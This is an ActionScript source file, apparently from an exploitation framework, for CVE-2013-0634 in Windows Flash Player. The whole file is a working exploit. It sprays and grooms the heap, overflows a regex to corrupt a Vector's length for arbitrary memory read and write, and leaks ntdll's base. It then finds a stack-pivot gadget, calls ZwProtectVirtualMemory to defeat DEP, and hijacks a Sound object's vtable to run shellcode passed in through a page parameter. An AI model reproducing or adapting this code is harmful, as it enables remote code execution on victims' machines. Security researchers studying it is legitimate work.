/external/source/exploits/CVE-2013-0634/exploit.as
ActionScript | 545 lines | 481 code | 38 blank | 26 comment | 88 complexity | 3d134d62feb5d19c97565ccafce1077c MD5 | raw file
- // Compile with: mxmlc exploit.as -o exploit.swf
- package
- {
- import flash.display.Sprite;
- import flash.media.Sound;
- import flash.utils.ByteArray;
- import __AS3__.vec.Vector;
- import flash.display.LoaderInfo;
- import flash.system.Capabilities;
- import flash.utils.Endian;
- import __AS3__.vec.*;
- import flash.utils.*;
- import flash.display.*;
- import flash.media.*;
- import flash.system.*;
- import flash.external.*;
- import flash.net.*;
-
- public class exploit extends Sprite
- {
- public var flash_version:Number;
- public var sound_object:Sound;
- public var byte_array:ByteArray;
- public var massaged_memory:Vector.<Object>;
- public var vector_object_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
- public var TweakedVector:Vector.<Number>;
- public var TweakedVector_address:uint;
- public var sound_address:uint;
- public var sound_address_vtable:uint;
- public var sound_address_offset_4:uint; // For overwritting and restoring purposes; float in memory needs 8 bytes
- public var byte_array_data_address:uint;
- public var ntdll_base:uint;
- public var ntdll_pe_file_header:uint;
- public var stack_pivot:uint;
- public var virtual_alloc_address:uint;
- public var last_leaked_address:uint;
- public var last_leak:Vector.<uint>;
-
- public function exploit():void
- {
- this.sound_object = new Sound();
- this.byte_array = new ByteArray();
- this.massaged_memory = new Vector.<Object>(0);
- this.last_leak = new Vector.<uint>(2);
- super();
- var loader:LoaderInfo = LoaderInfo(this.root.loaderInfo);
- var shellcode:String = ((loader.parameters.hasOwnProperty("his")) ? loader.parameters["his"] : null);
- if (shellcode == null){
- return;
- };
- if (!this.CheckVersion()){
- return;
- };
- this.ExploitIt(shellcode);
- this.Restore();
- }
-
- public function CheckVersion():Boolean
- {
- var capabilities:* = Capabilities.version.toLowerCase().split(" ");
- if (capabilities[0] != "win"){
- return (false);
- };
- this.flash_version = Number(capabilities[1].substr(0, 4).split(",").join(""));
- if ((((this.flash_version < 110)) && ((this.flash_version > 115)))){
- return (false);
- };
- return (true);
- }
-
- public function PrepareMemoryAndOverflow():RegExp
- {
- var index:uint;
- var tmp_vector:Vector.<Object>;
- index = 0;
-
- while (index < 0x4000) {
- tmp_vector = new Vector.<Object>(16);
- tmp_vector[0] = new RegExp("sdfhefbwjghfewtyfnwgvwgbvhwasfgsvrtvcrgeeg", "");
- tmp_vector[1] = this.CreateVectorSixteenNumbers();
- tmp_vector[2] = this.CreateVectorSixteenNumbers();
- tmp_vector[3] = this.CreateVectorSixteenNumbers();
- tmp_vector[4] = this.CreateVectorSixteenNumbers();
- tmp_vector[5] = this.CreateVectorSixteenNumbers();
- tmp_vector[6] = this.CreateVectorSixteenNumbers();
- tmp_vector[7] = this.CreateVectorSixteenNumbers();
- tmp_vector[8] = this.CreateVectorSixteenNumbers();
- tmp_vector[9] = this.CreateVectorThirtyTwoObjects();
- tmp_vector[10] = this.CreateVectorThirtyTwoObjects();
- tmp_vector[11] = this.CreateVectorThirtyTwoObjects();
- tmp_vector[12] = this.CreateVectorThirtyTwoObjects();
- tmp_vector[13] = this.CreateVectorThirtyTwoObjects();
- tmp_vector[14] = this.CreateVectorThirtyTwoObjects();
- tmp_vector[15] = this.CreateVectorThirtyTwoObjects();
- this.massaged_memory[index] = tmp_vector;
- index++;
- };
- index = 0x2000;
-
- // Make some holes
- while (index < 0x3fff) {
- if ((index % 2) != 0){
- this.massaged_memory[index][2] = null;
- };
- index++;
- };
-
- // Hopefully reuse a hole and overflow a tmp_vector[3] field
- return (new RegExp("(?i)()()(?-i)||||||||||||||||||||||", ""));
- }
-
- public function SearchOverflowedTweakAndRestore():Boolean
- {
- var index:uint;
- var numbers_vector_index:uint;
- var overflowed_vector:Vector.<Number>;
- var fingerprint:Number;
- index = 0;
- _loop_1:
- while (index < 0x4000) {
- numbers_vector_index = 1;
- while (numbers_vector_index < 9) {
- try {
- // If the length is bigger than 17, the vector's length has been overflowed
- if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>).length > 17){
- overflowed_vector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
- if (this.ReadTwoUint(overflowed_vector, 17)[0] == 16) {
- break _loop_1;
- }
- return (false);
- };
- } catch(e:Error) {
- };
- numbers_vector_index++;
- };
- index++;
- };
-
- if (overflowed_vector){
- this.vector_object_offset_4 = this.ReadTwoUint(overflowed_vector, 17)[1];
- // Overwrite the length of the vector following the overflowed one:
- // reused hole (vector) ==> overflowed vector ==> corrupted (tweaked) vector
- overflowed_vector[17] = this.TwoUintToFloat(0xFFFFFFFE, this.vector_object_offset_4);
- // corrupts the first position of the corrupted (tweaked) vector, so we can find it
- // in the future easily.
- fingerprint = (overflowed_vector[18] = this.TwoUintToFloat(0x41414141, 0));
- index = 0;
- while (index < 0x4000) {
- numbers_vector_index = 1;
- while (numbers_vector_index < 9) {
- try {
- // restore the overflowed vector's length
- if ((this.massaged_memory[index][numbers_vector_index] as Vector.<Number>)[0] == fingerprint){
- this.TweakedVector = (this.massaged_memory[index][numbers_vector_index] as Vector.<Number>);
- this.TweakedVector[0x1fffffed] = this.TwoUintToFloat(16, this.vector_object_offset_4);
- return (true);
- };
- } catch(e:Error) {
- };
- numbers_vector_index++;
- };
- index++;
- };
- };
- return (false);
- }
-
- public function Restore():void
- {
- try {
- if (((this.TweakedVector) && (this.vector_object_offset_4))){
- if (((this.sound_address) && (this.sound_address_vtable))){
- this.OverwriteAddress(this.sound_address, this.sound_address_vtable, this.sound_address_offset_4);
- };
- this.TweakedVector[0x1fffffff] = this.TwoUintToFloat(16, this.vector_object_offset_4);
- return;
- };
- } catch(e:Error) {
- };
- do {
- } while (1);
- }
-
- public function GetAddressTweakedVector():Boolean
- {
- var index:uint;
- var index_numbers_vectors:uint;
- var tweaked_next:Vector.<uint>;
- var tweaked_next_next:Vector.<uint>;
- try {
- index = 0;
- // Nullify (free) number vectors who aren't the tweaked one
- while (index < 0x4000) {
- index_numbers_vectors = 1;
- while (index_numbers_vectors < 9) {
- if (this.massaged_memory[index][index_numbers_vectors] != this.TweakedVector){
- this.massaged_memory[index][index_numbers_vectors] = null;
- };
- index_numbers_vectors++;
- };
- index++;
- };
- index = 1;
- while (index < 4) {
- tweaked_next = this.ReadTwoUint(this.TweakedVector, ((17 * index) + (index - 1)));
- tweaked_next_next = this.ReadTwoUint(this.TweakedVector, ((17 * (index + 1)) + index));
- // Verify that after the tweaked vector there are two more number vectors
- // With the tweaked vector it is kinda easy to disclose its own address, becasuse
- // Flash links vectors, so there are pointers.
- if ((((((((((tweaked_next[1] == this.vector_object_offset_4)) && ((tweaked_next_next[1] == this.vector_object_offset_4)))) && ((tweaked_next[1] < tweaked_next[0])))) && ((tweaked_next_next[1] < tweaked_next_next[0])))) && (((tweaked_next_next[0] - tweaked_next[0]) == 144)))){
- this.TweakedVector_address = (tweaked_next[0] - (144 * (index + 1)));
- return (true);
- };
- index++;
- };
- } catch(e:Error) {
- };
- return (false);
- }
-
- public function LeakObjectAddresses():Boolean
- {
- var one_signature:Number;
- var i:uint;
- var objects_leak:Vector.<uint>;
- var byte_array_address:uint;
- try {
- one_signature = this.TwoUintToFloat(1, 1); // to match nil entries
- i = 0;
- while (i < 0x1000) {
- // Search first objects vector entry from the tweaked one (from the massaged memory...)
- if ((((this.ReadTwoUint(this.TweakedVector, i)[1] == 32)) && ((this.TweakedVector[(i + 1)] == one_signature)))){
- //objects_leak[0] => ByteArray object
- //objects_leak[1] => Sound object
- objects_leak = this.ReadTwoUint(this.TweakedVector, (i + 2));
-
- this.sound_address = (objects_leak[0] & 0xFFFFFFF8);
- this.sound_address_vtable = this.Leak(this.sound_address, true);
- this.sound_address_offset_4 = this.Leak((this.sound_address + 4), true);
-
- byte_array_address = (objects_leak[1] & 0xFFFFFFF8);
-
- if (this.flash_version < 114){
- this.byte_array_data_address = this.Leak((byte_array_address + 56), true);
-
- } else {
- byte_array_address = this.Leak((byte_array_address + 64), true);
- this.byte_array_data_address = this.Leak((byte_array_address + 8), true);
- };
- return (true);
- };
- i++;
- };
- } catch(e:Error) {
- };
- return (false);
- }
-
- public function Leak(address:uint, align:Boolean):uint
- {
- var eigth_byte_aligned:uint;
- if (align) {
- eigth_byte_aligned = ((((address % 8) == 0)) ? 0 : 1);
- } else {
- eigth_byte_aligned = 0;
- }
- if (eigth_byte_aligned){
- address = (address - 4);
- };
- if (this.last_leaked_address == address){
- return (this.last_leak[eigth_byte_aligned]);
- };
- var _local_3:uint = (((address - this.TweakedVector_address) - 8) / 8);
- this.last_leaked_address = address;
- this.last_leak = this.ReadTwoUint(this.TweakedVector, _local_3);
- return (this.last_leak[eigth_byte_aligned]);
- }
-
- public function OverwriteAddress(address:uint, value1:uint, value2:uint):void
- {
- var address_trough_tweaked:uint = (((address - this.TweakedVector_address) - 8) / 8);
- this.TweakedVector[address_trough_tweaked] = this.TwoUintToFloat(value1, value2);
- }
-
- public function LeakNtdll():Boolean
- {
- var ntdll_address:uint;
- var KiFastSystemCall_address:uint;
- var pe_file_header_address:uint;
- try {
- //KiFastSystemCallRet
- KiFastSystemCall_address = this.Leak(0x7FFE0300, true);
- if (KiFastSystemCall_address == 0){
- KiFastSystemCall_address = this.Leak(0x7ffe0340, true);
- };
- if (KiFastSystemCall_address){
- KiFastSystemCall_address = (KiFastSystemCall_address & 0xFFFF0000);
- while (1) {
- if ((this.Leak(KiFastSystemCall_address, true) & 0xFFFF) == 0x5a4d){ // PE signature
- ntdll_address = KiFastSystemCall_address;
- break;
- };
- KiFastSystemCall_address = (KiFastSystemCall_address - 65536);
- };
- if (ntdll_address){
- pe_file_header_address = (ntdll_address + this.Leak((ntdll_address + 0x3c), true));
- if (this.Leak(pe_file_header_address, true) == 0x4550){ // NT Header
- this.ntdll_base = ntdll_address;
- this.ntdll_pe_file_header = pe_file_header_address;
- return (true);
- };
- };
- };
- } catch(e:Error) {
- };
- return (false);
- }
-
- public function GetUint(_arg_1:uint, _arg_2:uint, _arg_3:uint):uint
- {
- var _local_4:uint = (_arg_1 >>> (8 * _arg_3));
- var _local_5:uint = (((_arg_3 == 0)) ? 0 : (_arg_2 << ((4 - _arg_3) * 8)));
- return ((_local_5 | _local_4));
- }
-
- public function FindStackPivot():Boolean
- {
- var ntdll_size_of_code:uint;
- var ntdll_base_of_code:uint;
- var instr:uint;
- var offset:uint;
- var next_instr:uint;
- var instr_offset:uint;
- try {
- ntdll_size_of_code = this.Leak((this.ntdll_pe_file_header + 0x1c), true);
- ntdll_base_of_code = this.Leak((this.ntdll_pe_file_header + 0x2c), true);
- if (((ntdll_size_of_code) && (ntdll_base_of_code))){
- ntdll_base_of_code = (ntdll_base_of_code + this.ntdll_base);
- instr = this.Leak(ntdll_base_of_code, true);
- offset = 4;
- while (offset < ntdll_size_of_code) {
- next_instr = this.Leak((ntdll_base_of_code + offset), true);
- instr_offset = 0;
- while (instr_offset < 4) {
- if ((this.GetUint(instr, next_instr, instr_offset) & 0xFFFF) == 0xc394){ // xcht esp, eax ; ret # 94 c3
- this.stack_pivot = (((ntdll_base_of_code + offset) - 4) + instr_offset);
- return (true);
- };
- instr_offset++;
- };
- instr = next_instr;
- offset = (offset + 4);
- };
- };
- } catch(e:Error) {
- };
- return (false);
- }
-
- public function Match(address:uint, signature:Vector.<uint>, offset:uint):Boolean
- {
- var content_next:uint;
- var content:uint = this.Leak(address, true);
- var i:uint;
- while (i < signature.length) {
- content_next = this.Leak((address + ((i + 1) * 4)), true);
- if (this.GetUint(content, content_next, offset) != signature[i]){
- return (false);
- };
- content = content_next;
- i++;
- };
- return (true);
- }
-
- public function LeakVirtualProtect():Boolean
- {
- var exports_address:uint;
- var virtual_protect_signature:Vector.<uint>;
- var n_functions:uint;
- var ptrs_entry:uint;
- var ptrs_name:uint;
- var ptrs_ordinal:uint;
- var i:uint;
- var export_name_entry:uint;
- var offset_export_name_entry:uint;
- var _local_10:uint;
-
- try {
- exports_address = this.Leak((this.ntdll_pe_file_header + 0x78), true); // Export Data Directory Offset
- if (exports_address){
- exports_address = (exports_address + this.ntdll_base);
- virtual_protect_signature = new <uint>[0x7250775a, 0x6365746f, 0x72695674]; // ZwProtectVir ; It's searching for ZwProtectVirtualMemory
- n_functions = this.Leak((exports_address + 24), true);
- ptrs_entry = this.Leak((exports_address + 28), true);
- ptrs_name = this.Leak((exports_address + 32), true);
- ptrs_ordinal = this.Leak((exports_address + 36), true);
- if (((((((n_functions) && (ptrs_entry))) && (ptrs_name))) && (ptrs_ordinal))){
- ptrs_entry = (ptrs_entry + this.ntdll_base);
- ptrs_name = (ptrs_name + this.ntdll_base);
- ptrs_ordinal = (ptrs_ordinal + this.ntdll_base);
- i = 0;
- while (i < n_functions) {
- export_name_entry = this.Leak((ptrs_name + (i * 4)), true);
- if (export_name_entry){
- export_name_entry = (export_name_entry + this.ntdll_base);
- offset_export_name_entry = (export_name_entry % 4);
- export_name_entry = (export_name_entry - offset_export_name_entry);
- if (this.Match(export_name_entry, virtual_protect_signature, offset_export_name_entry)){
- _local_10 = this.Leak((ptrs_ordinal + ((i / 2) * 4)), false);
- if ((i % 2)){
- _local_10 = (_local_10 >>> 16);
- };
-
- this.virtual_alloc_address = (this.ntdll_base + this.Leak((ptrs_entry + ((_local_10 & 0xFFFF) * 4)), true));
- return (true);
- };
- };
- i++;
- };
- };
- };
- } catch(e:Error) {
- };
- return (false);
- }
-
- public function ExploitIt(shellcode:String):void
- {
- var not_used:* = this.PrepareMemoryAndOverflow();
- if (!this.SearchOverflowedTweakAndRestore()){
- return;
- };
- if (!this.GetAddressTweakedVector()){
- return;
- };
- if (!this.LeakNtdll()){
- return;
- };
- if (!this.FindStackPivot()){
- return;
- };
- if (!this.LeakVirtualProtect()){
- return;
- };
- var i:uint;
- while (i < 0x19000) {
- this.byte_array.writeUnsignedInt(0x41424344);
- i++;
- };
- this.byte_array.endian = Endian.LITTLE_ENDIAN;
- var init_pos:uint = this.byte_array.position;
-
- // Write shellcode into the byte array
- this.byte_array.position = (init_pos + 136);
- this.write_into_byte_array(this.byte_array, shellcode);
-
- // Write stack pivot into the byte array
- this.byte_array.position = (init_pos + 112);
- this.byte_array.writeUnsignedInt(this.stack_pivot);
-
- if (!this.LeakObjectAddresses()){
- return;
- };
-
- this.byte_array_data_address = (this.byte_array_data_address + init_pos);
- this.byte_array.position = init_pos;
-
- // build ZwProtectVirtualMemory "return to ntdll attack" to bypass DEP
- this.byte_array.writeUnsignedInt(this.virtual_alloc_address); // ZwProtectVirtualMemory
- this.byte_array.writeUnsignedInt((this.byte_array_data_address + 136)); // ret (shellcode address)
- this.byte_array.writeUnsignedInt(0xFFFFFFFF); // ProcessHandle
- this.byte_array.writeUnsignedInt((this.byte_array_data_address + 28)); // BaseAddress
- this.byte_array.writeUnsignedInt((this.byte_array_data_address + 32)); // NumberOfBytesToProtect
- this.byte_array.writeUnsignedInt(64); // NewAccessProtection
- this.byte_array.writeUnsignedInt((this.byte_array_data_address + 36)); // OldAccessProtection
- this.byte_array.writeUnsignedInt(this.byte_array_data_address); // this.byte_array_data_address + 28
- this.byte_array.writeUnsignedInt(0x1000); // this.byte_array_data_address + 32
- this.byte_array.writeUnsignedInt(0x41424344); // this.byte_array_data_address + 36
-
- // Overwrite Sound...
- this.OverwriteAddress(this.sound_address, this.byte_array_data_address, this.sound_address_offset_4);
-
- // Make it happen!
- new Number(this.sound_object.toString());
- }
-
- private function write_into_byte_array(byte_array:ByteArray, string:String):void
- {
- var _local_4:String;
- var _local_5:int;
- var _local_3:int;
- while (_local_3 < string.length) {
- _local_4 = string.substr(_local_3, 2);
- _local_5 = parseInt(_local_4, 16);
- byte_array.writeByte(_local_5);
- _local_3 = (_local_3 + 2);
- };
- }
-
- private function TwoUintToFloat(_arg_1:uint, _arg_2:uint):Number
- {
- var result_float:ByteArray = new ByteArray();
- result_float.endian = Endian.LITTLE_ENDIAN;
- result_float.writeInt(_arg_1);
- result_float.writeInt(_arg_2);
- result_float.position = 0;
- return (result_float.readDouble());
- }
-
- // vector is a Float vectors
- // index is the position to read from the vector
- // read the vector[index] float i retorna els dos enters
- // ocupant les dues posiciones
- private function ReadTwoUint(vector:Vector.<Number>, index:uint):Vector.<uint>
- {
- var byte_array:ByteArray = new ByteArray();
- byte_array.endian = Endian.BIG_ENDIAN;
- byte_array.writeDouble(vector[index]);
- var vector_uint:Vector.<uint> = new Vector.<uint>(2);
- byte_array.position = 0;
- vector_uint[1] = byte_array.readUnsignedInt();
- vector_uint[0] = byte_array.readUnsignedInt();
- return (vector_uint);
- }
-
- private function CreateVectorThirtyTwoObjects():Vector.<Object>
- {
- var vector:* = new Vector.<Object>(32);
- vector[0] = null;
- vector[1] = null;
- vector[2] = this.sound_object;
- vector[3] = this.byte_array;
- return (vector);
- }
-
- private function CreateVectorSixteenNumbers():Vector.<Number>
- {
- var vector:* = new Vector.<Number>(16);
- vector[0] = 0;
- vector[15] = 1;
- return (vector);
- }
- }
- }